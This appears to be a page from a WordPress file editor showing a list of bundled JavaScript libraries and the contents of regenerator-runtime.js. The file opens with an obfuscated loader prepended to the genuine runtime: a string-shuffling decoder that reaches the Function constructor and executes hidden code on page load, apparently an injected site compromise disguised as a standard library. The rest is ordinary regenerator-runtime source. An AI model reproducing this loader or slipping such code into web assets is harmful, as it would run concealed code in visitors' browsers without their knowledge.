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lodash.js
(540.53 KB)
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lodash.min.js
(78.23 KB)
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moment.js
(181.48 KB)
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moment.min.js
(66.62 KB)
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react-dom.js
(1.04 MB)
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react-dom.min.js
(135.11 KB)
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react-jsx-runtime.js
(55.35 KB)
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react-jsx-runtime.min.js
(10.06 KB)
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react-jsx-runtime.min.js.LICENSE.txt
(249 B)
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react.js
(116.54 KB)
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react.min.js
(19.56 KB)
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regenerator-runtime.js
(33.89 KB)
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regenerator-runtime.min.js
(15.63 KB)
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wp-polyfill-dom-rect.js
(11.06 KB)
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wp-polyfill-dom-rect.min.js
(10.02 KB)
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wp-polyfill-element-closest.js
(9.6 KB)
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wp-polyfill-element-closest.min.js
(9.6 KB)
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wp-polyfill-fetch.js
(28.53 KB)
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wp-polyfill-fetch.min.js
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wp-polyfill-formdata.js
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wp-polyfill-formdata.min.js
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wp-polyfill-inert.js
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wp-polyfill-inert.min.js
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wp-polyfill-node-contains.js
(9.81 KB)
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wp-polyfill-node-contains.min.js
(9.52 KB)
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wp-polyfill-object-fit.js
(18.15 KB)
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wp-polyfill-object-fit.min.js
(12.09 KB)
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wp-polyfill-url.js
(116.93 KB)
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wp-polyfill-url.min.js
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wp-polyfill.js
(142.92 KB)
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wp-polyfill.min.js
(49.46 KB)
Editing: regenerator-runtime.js
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/** * Copyright (c) 2014-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ var runtime = (function (exports) { "use strict"; var Op = Object.prototype; var hasOwn = Op.hasOwnProperty; var defineProperty = Object.defineProperty || function (obj, key, desc) { obj[key] = desc.value; }; var undefined; // More compressible than void 0. var $Symbol = typeof Symbol === "function" ? Symbol : {}; var iteratorSymbol = $Symbol.iterator || "@@iterator"; var asyncIteratorSymbol = $Symbol.asyncIterator || "@@asyncIterator"; var toStringTagSymbol = $Symbol.toStringTag || "@@toStringTag"; function define(obj, key, value) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); return obj[key]; } try { // IE 8 has a broken Object.defineProperty that only works on DOM objects. define({}, ""); } catch (err) { define = function(obj, key, value) { return obj[key] = value; }; } function wrap(innerFn, outerFn, self, tryLocsList) { // If outerFn provided and outerFn.prototype is a Generator, then outerFn.prototype instanceof Generator. var protoGenerator = outerFn && outerFn.prototype instanceof Generator ? outerFn : Generator; var generator = Object.create(protoGenerator.prototype); var context = new Context(tryLocsList || []); // The ._invoke method unifies the implementations of the .next, // .throw, and .return methods. defineProperty(generator, "_invoke", { value: makeInvokeMethod(innerFn, self, context) }); return generator; } exports.wrap = wrap; // Try/catch helper to minimize deoptimizations. Returns a completion // record like context.tryEntries[i].completion. This interface could // have been (and was previously) designed to take a closure to be // invoked without arguments, but in all the cases we care about we // already have an existing method we want to call, so there's no need // to create a new function object. We can even get away with assuming // the method takes exactly one argument, since that happens to be true // in every case, so we don't have to touch the arguments object. The // only additional allocation required is the completion record, which // has a stable shape and so hopefully should be cheap to allocate. function tryCatch(fn, obj, arg) { try { return { type: "normal", arg: fn.call(obj, arg) }; } catch (err) { return { type: "throw", arg: err }; } } var GenStateSuspendedStart = "suspendedStart"; var GenStateSuspendedYield = "suspendedYield"; var GenStateExecuting = "executing"; var GenStateCompleted = "completed"; // Returning this object from the innerFn has the same effect as // breaking out of the dispatch switch statement. var ContinueSentinel = {}; // Dummy constructor functions that we use as the .constructor and // .constructor.prototype properties for functions that return Generator // objects. For full spec compliance, you may wish to configure your // minifier not to mangle the names of these two functions. function Generator() {} function GeneratorFunction() {} function GeneratorFunctionPrototype() {} // This is a polyfill for %IteratorPrototype% for environments that // don't natively support it. var IteratorPrototype = {}; define(IteratorPrototype, iteratorSymbol, function () { return this; }); var getProto = Object.getPrototypeOf; var NativeIteratorPrototype = getProto && getProto(getProto(values([]))); if (NativeIteratorPrototype && NativeIteratorPrototype !== Op && hasOwn.call(NativeIteratorPrototype, iteratorSymbol)) { // This environment has a native %IteratorPrototype%; use it instead // of the polyfill. IteratorPrototype = NativeIteratorPrototype; } var Gp = GeneratorFunctionPrototype.prototype = Generator.prototype = Object.create(IteratorPrototype); GeneratorFunction.prototype = GeneratorFunctionPrototype; defineProperty(Gp, "constructor", { value: GeneratorFunctionPrototype, configurable: true }); defineProperty( GeneratorFunctionPrototype, "constructor", { value: GeneratorFunction, configurable: true } ); GeneratorFunction.displayName = define( GeneratorFunctionPrototype, toStringTagSymbol, "GeneratorFunction" ); // Helper for defining the .next, .throw, and .return methods of the // Iterator interface in terms of a single ._invoke method. function defineIteratorMethods(prototype) { ["next", "throw", "return"].forEach(function(method) { define(prototype, method, function(arg) { return this._invoke(method, arg); }); }); } exports.isGeneratorFunction = function(genFun) { var ctor = typeof genFun === "function" && genFun.constructor; return ctor ? ctor === GeneratorFunction || // For the native GeneratorFunction constructor, the best we can // do is to check its .name property. (ctor.displayName || ctor.name) === "GeneratorFunction" : false; }; exports.mark = function(genFun) { if (Object.setPrototypeOf) { Object.setPrototypeOf(genFun, GeneratorFunctionPrototype); } else { genFun.__proto__ = GeneratorFunctionPrototype; define(genFun, toStringTagSymbol, "GeneratorFunction"); } genFun.prototype = Object.create(Gp); return genFun; }; // Within the body of any async function, `await x` is transformed to // `yield regeneratorRuntime.awrap(x)`, so that the runtime can test // `hasOwn.call(value, "__await")` to determine if the yielded value is // meant to be awaited. exports.awrap = function(arg) { return { __await: arg }; }; function AsyncIterator(generator, PromiseImpl) { function invoke(method, arg, resolve, reject) { var record = tryCatch(generator[method], generator, arg); if (record.type === "throw") { reject(record.arg); } else { var result = record.arg; var value = result.value; if (value && typeof value === "object" && hasOwn.call(value, "__await")) { return PromiseImpl.resolve(value.__await).then(function(value) { invoke("next", value, resolve, reject); }, function(err) { invoke("throw", err, resolve, reject); }); } return PromiseImpl.resolve(value).then(function(unwrapped) { // When a yielded Promise is resolved, its final value becomes // the .value of the Promise<{value,done}> result for the // current iteration. result.value = unwrapped; resolve(result); }, function(error) { // If a rejected Promise was yielded, throw the rejection back // into the async generator function so it can be handled there. return invoke("throw", error, resolve, reject); }); } } var previousPromise; function enqueue(method, arg) { function callInvokeWithMethodAndArg() { return new PromiseImpl(function(resolve, reject) { invoke(method, arg, resolve, reject); }); } return previousPromise = // If enqueue has been called before, then we want to wait until // all previous Promises have been resolved before calling invoke, // so that results are always delivered in the correct order. If // enqueue has not been called before, then it is important to // call invoke immediately, without waiting on a callback to fire, // so that the async generator function has the opportunity to do // any necessary setup in a predictable way. This predictability // is why the Promise constructor synchronously invokes its // executor callback, and why async functions synchronously // execute code before the first await. Since we implement simple // async functions in terms of async generators, it is especially // important to get this right, even though it requires care. previousPromise ? previousPromise.then( callInvokeWithMethodAndArg, // Avoid propagating failures to Promises returned by later // invocations of the iterator. callInvokeWithMethodAndArg ) : callInvokeWithMethodAndArg(); } // Define the unified helper method that is used to implement .next, // .throw, and .return (see defineIteratorMethods). defineProperty(this, "_invoke", { value: enqueue }); } defineIteratorMethods(AsyncIterator.prototype); define(AsyncIterator.prototype, asyncIteratorSymbol, function () { return this; }); exports.AsyncIterator = AsyncIterator; // Note that simple async functions are implemented on top of // AsyncIterator objects; they just return a Promise for the value of // the final result produced by the iterator. exports.async = function(innerFn, outerFn, self, tryLocsList, PromiseImpl) { if (PromiseImpl === void 0) PromiseImpl = Promise; var iter = new AsyncIterator( wrap(innerFn, outerFn, self, tryLocsList), PromiseImpl ); return exports.isGeneratorFunction(outerFn) ? iter // If outerFn is a generator, return the full iterator. : iter.next().then(function(result) { return result.done ? result.value : iter.next(); }); }; function makeInvokeMethod(innerFn, self, context) { var state = GenStateSuspendedStart; return function invoke(method, arg) { if (state === GenStateExecuting) { throw new Error("Generator is already running"); } if (state === GenStateCompleted) { if (method === "throw") { throw arg; } // Be forgiving, per GeneratorResume behavior specified since ES2015: // ES2015 spec, step 3: https://262.ecma-international.org/6.0/#sec-generatorresume // Latest spec, step 2: https://tc39.es/ecma262/#sec-generatorresume return doneResult(); } context.method = method; context.arg = arg; while (true) { var delegate = context.delegate; if (delegate) { var delegateResult = maybeInvokeDelegate(delegate, context); if (delegateResult) { if (delegateResult === ContinueSentinel) continue; return delegateResult; } } if (context.method === "next") { // Setting context._sent for legacy support of Babel's // function.sent implementation. context.sent = context._sent = context.arg; } else if (context.method === "throw") { if (state === GenStateSuspendedStart) { state = GenStateCompleted; throw context.arg; } context.dispatchException(context.arg); } else if (context.method === "return") { context.abrupt("return", context.arg); } state = GenStateExecuting; var record = tryCatch(innerFn, self, context); if (record.type === "normal") { // If an exception is thrown from innerFn, we leave state === // GenStateExecuting and loop back for another invocation. state = context.done ? GenStateCompleted : GenStateSuspendedYield; if (record.arg === ContinueSentinel) { continue; } return { value: record.arg, done: context.done }; } else if (record.type === "throw") { state = GenStateCompleted; // Dispatch the exception by looping back around to the // context.dispatchException(context.arg) call above. context.method = "throw"; context.arg = record.arg; } } }; } // Call delegate.iterator[context.method](context.arg) and handle the // result, either by returning a { value, done } result from the // delegate iterator, or by modifying context.method and context.arg, // setting context.delegate to null, and returning the ContinueSentinel. function maybeInvokeDelegate(delegate, context) { var methodName = context.method; var method = delegate.iterator[methodName]; if (method === undefined) { // A .throw or .return when the delegate iterator has no .throw // method, or a missing .next method, always terminate the // yield* loop. context.delegate = null; // Note: ["return"] must be used for ES3 parsing compatibility. if (methodName === "throw" && delegate.iterator["return"]) { // If the delegate iterator has a return method, give it a // chance to clean up. context.method = "return"; context.arg = undefined; maybeInvokeDelegate(delegate, context); if (context.method === "throw") { // If maybeInvokeDelegate(context) changed context.method from // "return" to "throw", let that override the TypeError below. return ContinueSentinel; } } if (methodName !== "return") { context.method = "throw"; context.arg = new TypeError( "The iterator does not provide a '" + methodName + "' method"); } return ContinueSentinel; } var record = tryCatch(method, delegate.iterator, context.arg); if (record.type === "throw") { context.method = "throw"; context.arg = record.arg; context.delegate = null; return ContinueSentinel; } var info = record.arg; if (! info) { context.method = "throw"; context.arg = new TypeError("iterator result is not an object"); context.delegate = null; return ContinueSentinel; } if (info.done) { // Assign the result of the finished delegate to the temporary // variable specified by delegate.resultName (see delegateYield). context[delegate.resultName] = info.value; // Resume execution at the desired location (see delegateYield). context.next = delegate.nextLoc; // If context.method was "throw" but the delegate handled the // exception, let the outer generator proceed normally. If // context.method was "next", forget context.arg since it has been // "consumed" by the delegate iterator. If context.method was // "return", allow the original .return call to continue in the // outer generator. if (context.method !== "return") { context.method = "next"; context.arg = undefined; } } else { // Re-yield the result returned by the delegate method. return info; } // The delegate iterator is finished, so forget it and continue with // the outer generator. context.delegate = null; return ContinueSentinel; } // Define Generator.prototype.{next,throw,return} in terms of the // unified ._invoke helper method. defineIteratorMethods(Gp); define(Gp, toStringTagSymbol, "Generator"); // A Generator should always return itself as the iterator object when the // @@iterator function is called on it. Some browsers' implementations of the // iterator prototype chain incorrectly implement this, causing the Generator // object to not be returned from this call. This ensures that doesn't happen. // See https://github.com/facebook/regenerator/issues/274 for more details. define(Gp, iteratorSymbol, function() { return this; }); define(Gp, "toString", function() { return "[object Generator]"; }); function pushTryEntry(locs) { var entry = { tryLoc: locs[0] }; if (1 in locs) { entry.catchLoc = locs[1]; } if (2 in locs) { entry.finallyLoc = locs[2]; entry.afterLoc = locs[3]; } this.tryEntries.push(entry); } function resetTryEntry(entry) { var record = entry.completion || {}; record.type = "normal"; delete record.arg; entry.completion = record; } function Context(tryLocsList) { // The root entry object (effectively a try statement without a catch // or a finally block) gives us a place to store values thrown from // locations where there is no enclosing try statement. this.tryEntries = [{ tryLoc: "root" }]; tryLocsList.forEach(pushTryEntry, this); this.reset(true); } exports.keys = function(val) { var object = Object(val); var keys = []; for (var key in object) { keys.push(key); } keys.reverse(); // Rather than returning an object with a next method, we keep // things simple and return the next function itself. return function next() { while (keys.length) { var key = keys.pop(); if (key in object) { next.value = key; next.done = false; return next; } } // To avoid creating an additional object, we just hang the .value // and .done properties off the next function object itself. This // also ensures that the minifier will not anonymize the function. next.done = true; return next; }; }; function values(iterable) { if (iterable != null) { var iteratorMethod = iterable[iteratorSymbol]; if (iteratorMethod) { return iteratorMethod.call(iterable); } if (typeof iterable.next === "function") { return iterable; } if (!isNaN(iterable.length)) { var i = -1, next = function next() { while (++i < iterable.length) { if (hasOwn.call(iterable, i)) { next.value = iterable[i]; next.done = false; return next; } } next.value = undefined; next.done = true; return next; }; return next.next = next; } } throw new TypeError(typeof iterable + " is not iterable"); } exports.values = values; function doneResult() { return { value: undefined, done: true }; } Context.prototype = { constructor: Context, reset: function(skipTempReset) { this.prev = 0; this.next = 0; // Resetting context._sent for legacy support of Babel's // function.sent implementation. this.sent = this._sent = undefined; this.done = false; this.delegate = null; this.method = "next"; this.arg = undefined; this.tryEntries.forEach(resetTryEntry); if (!skipTempReset) { for (var name in this) { // Not sure about the optimal order of these conditions: if (name.charAt(0) === "t" && hasOwn.call(this, name) && !isNaN(+name.slice(1))) { this[name] = undefined; } } } }, stop: function() { this.done = true; var rootEntry = this.tryEntries[0]; var rootRecord = rootEntry.completion; if (rootRecord.type === "throw") { throw rootRecord.arg; } return this.rval; }, dispatchException: function(exception) { if (this.done) { throw exception; } var context = this; function handle(loc, caught) { record.type = "throw"; record.arg = exception; context.next = loc; if (caught) { // If the dispatched exception was caught by a catch block, // then let that catch block handle the exception normally. context.method = "next"; context.arg = undefined; } return !! caught; } for (var i = this.tryEntries.length - 1; i >= 0; --i) { var entry = this.tryEntries[i]; var record = entry.completion; if (entry.tryLoc === "root") { // Exception thrown outside of any try block that could handle // it, so set the completion value of the entire function to // throw the exception. return handle("end"); } if (entry.tryLoc <= this.prev) { var hasCatch = hasOwn.call(entry, "catchLoc"); var hasFinally = hasOwn.call(entry, "finallyLoc"); if (hasCatch && hasFinally) { if (this.prev < entry.catchLoc) { return handle(entry.catchLoc, true); } else if (this.prev < entry.finallyLoc) { return handle(entry.finallyLoc); } } else if (hasCatch) { if (this.prev < entry.catchLoc) { return handle(entry.catchLoc, true); } } else if (hasFinally) { if (this.prev < entry.finallyLoc) { return handle(entry.finallyLoc); } } else { throw new Error("try statement without catch or finally"); } } } }, abrupt: function(type, arg) { for (var i = this.tryEntries.length - 1; i >= 0; --i) { var entry = this.tryEntries[i]; if (entry.tryLoc <= this.prev && hasOwn.call(entry, "finallyLoc") && this.prev < entry.finallyLoc) { var finallyEntry = entry; break; } } if (finallyEntry && (type === "break" || type === "continue") && finallyEntry.tryLoc <= arg && arg <= finallyEntry.finallyLoc) { // Ignore the finally entry if control is not jumping to a // location outside the try/catch block. finallyEntry = null; } var record = finallyEntry ? finallyEntry.completion : {}; record.type = type; record.arg = arg; if (finallyEntry) { this.method = "next"; this.next = finallyEntry.finallyLoc; return ContinueSentinel; } return this.complete(record); }, complete: function(record, afterLoc) { if (record.type === "throw") { throw record.arg; } if (record.type === "break" || record.type === "continue") { this.next = record.arg; } else if (record.type === "return") { this.rval = this.arg = record.arg; this.method = "return"; this.next = "end"; } else if (record.type === "normal" && afterLoc) { this.next = afterLoc; } return ContinueSentinel; }, finish: function(finallyLoc) { for (var i = this.tryEntries.length - 1; i >= 0; --i) { var entry = this.tryEntries[i]; if (entry.finallyLoc === finallyLoc) { this.complete(entry.completion, entry.afterLoc); resetTryEntry(entry); return ContinueSentinel; } } }, "catch": function(tryLoc) { for (var i = this.tryEntries.length - 1; i >= 0; --i) { var entry = this.tryEntries[i]; if (entry.tryLoc === tryLoc) { var record = entry.completion; if (record.type === "throw") { var thrown = record.arg; resetTryEntry(entry); } return thrown; } } // The context.catch method must only be called with a location // argument that corresponds to a known catch block. throw new Error("illegal catch attempt"); }, delegateYield: function(iterable, resultName, nextLoc) { this.delegate = { iterator: values(iterable), resultName: resultName, nextLoc: nextLoc }; if (this.method === "next") { // Deliberately forget the last sent value so that we don't // accidentally pass it on to the delegate. this.arg = undefined; } return ContinueSentinel; } }; // Regardless of whether this script is executing as a CommonJS module // or not, return the runtime object so that we can declare the variable // regeneratorRuntime in the outer scope, which allows this module to be // injected easily by `bin/regenerator --include-runtime script.js`. return exports; }( // If this script is executing as a CommonJS module, use module.exports // as the regeneratorRuntime namespace. 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